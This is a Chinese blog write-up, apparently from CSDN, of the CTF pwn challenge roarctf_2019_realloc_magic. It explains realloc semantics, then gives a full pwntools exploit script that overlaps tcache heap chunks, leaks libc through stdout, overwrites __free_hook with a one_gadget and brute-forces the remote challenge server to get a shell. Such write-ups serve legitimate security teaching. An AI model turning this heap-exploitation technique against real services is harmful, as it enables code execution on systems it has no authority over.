roarctf_2019_realloc_magic

本文介绍了在Roarctf_2019比赛中利用realloc函数的特性进行堆块重叠(tcacheattack)的技巧,通过stdout泄露libc,并利用这些漏洞获取shell。着重讲解了攻击步骤和关键操作,如利用realloc的内存调整和内存释放特性进行战术布局。
摘要由CSDN通过智能技术生成

roarctf_2019_realloc_magic

查看保护
在这里插入图片描述
在这里插入图片描述
这里的话不会清空指针。
在这里插入图片描述
最有意思的是这个地方,使用的一个realloc。

  • 当ptr == nullptr的时候,相当于malloc(size), 返回分配到的地址
  • 当ptr != nullptr && size == 0的时候,相当于free(ptr),返回空指针
  • 当size小于原来ptr所指向的内存的大小时,直接缩小,返回ptr指针。被削减的那块内存会被释放,放入对应的bins中去
  • 当size大于原来ptr所指向的内存的大小时,如果原ptr所指向的chunk后面又足够的空间,那么直接在后面扩容,返回ptr指针;如果后面空间不足,先释放ptr所申请的内存,然后试图分配size大小的内存,返回分配后的指针
    在这里插入图片描述
    这个函数只有一次的ptr清0机会
    攻击思路:首先有realloc这种分配方法,所以可以借助realloc来达成堆块重叠,也就是tcache attack。将fd改为_IO_2_1_stdout这里,然后通过stdout来泄露出Libc。这里笔者就不详细讲如何使用stdout来泄露libc了。这里贴一个笔者之前写过的stdout泄露libc。z1r0’s blog
    拿到libc之后得到hook和one_gadget。接着重复上面的tcache attack的步骤将fd劫持成hook。最后通过realloc的特性改成gadget即可getshell。
    注意:打远程需要爆破。因为stdout的最后一个是0x60是因定的只需要爆破倒数第二个就可以了。
from pwn import *

context(arch='amd64', os='linux') #, log_level='debug')

file_name = './z1r0'
'''
debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)
'''
elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = '>> '

def add(size, content):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Size?', str(size))
    r.sendafter('Content?', content)

def delete():
    r.sendlineafter(menu, '2')

def ba():
    r.sendlineafter(menu, '666')

'''
size == 0 && ptr != NULL   delete
ptr == NULL                 malloc(size)
size > old_size             edit(size > old_size)
'''

def attack():
    add(0x30, '\x00')
    add(0, '')  #free

    add(0x80, '\x00')
    add(0, '')  #free

    add(0x40, '\x00')
    add(0, '')  #free

    add(0x80, '\x00')

    for i in range(7):
        delete()

    add(0, '')  #free to get unstortedbin

    add(0x30, '\x00')

    libc = ELF('./2.27/libc-2.27.so')
    _IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_']
    #p1 = p64(0) * 7 + p64(0x51) + p64(0x7ffff7dd0760)
    p1 = p64(0) * 7 + p64(0x51) + p8(0x60) + p8(0x87)
    add(0x50, p1)
    add(0, '') #free

    add(0x80, '\x00')
    add(0, '') #free

    p1 = p64(0x0FBAD1887) + p64(0) * 3 + p8(0x58)
    add(0x80, p1)

    r.recvuntil('\n')
    #addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    libc_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x3E82A0
    if libc_base >> 40 != 0x7F:
      exit(0)
    #libc_base = addr - libc.sym['_IO_file_jumps']
    free_hook = libc_base + libc.sym['__free_hook']
    success('free_hook = ' + hex(free_hook))

    one = [0x4f2c5, 0x4f322, 0x10a38c]
    one_gadget = one[1] + libc_base

    ba()

    add(0x10, b'\x00')
    add(0, '')

    add(0x100, '\x00')
    add(0, '')

    add(0x20, '\x00')
    add(0, '')

    add(0x100, '\x00')

    for i in range(7):
        delete()

    add(0, '')
    add(0x10, '\x00')

    p2 = p64(0) * 3 + p64(0x51) + p64(free_hook)
    add(0x50, p2)
    add(0, '')

    add(0x100, '\x00')
    add(0, '')

    add(0x100, p64(one_gadget))

    delete()
    #dbg()

while True:
    try:
        r = remote('node4.buuoj.cn', 29344)
        attack()
        r.interactive()
        break
    except:
        r.close()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值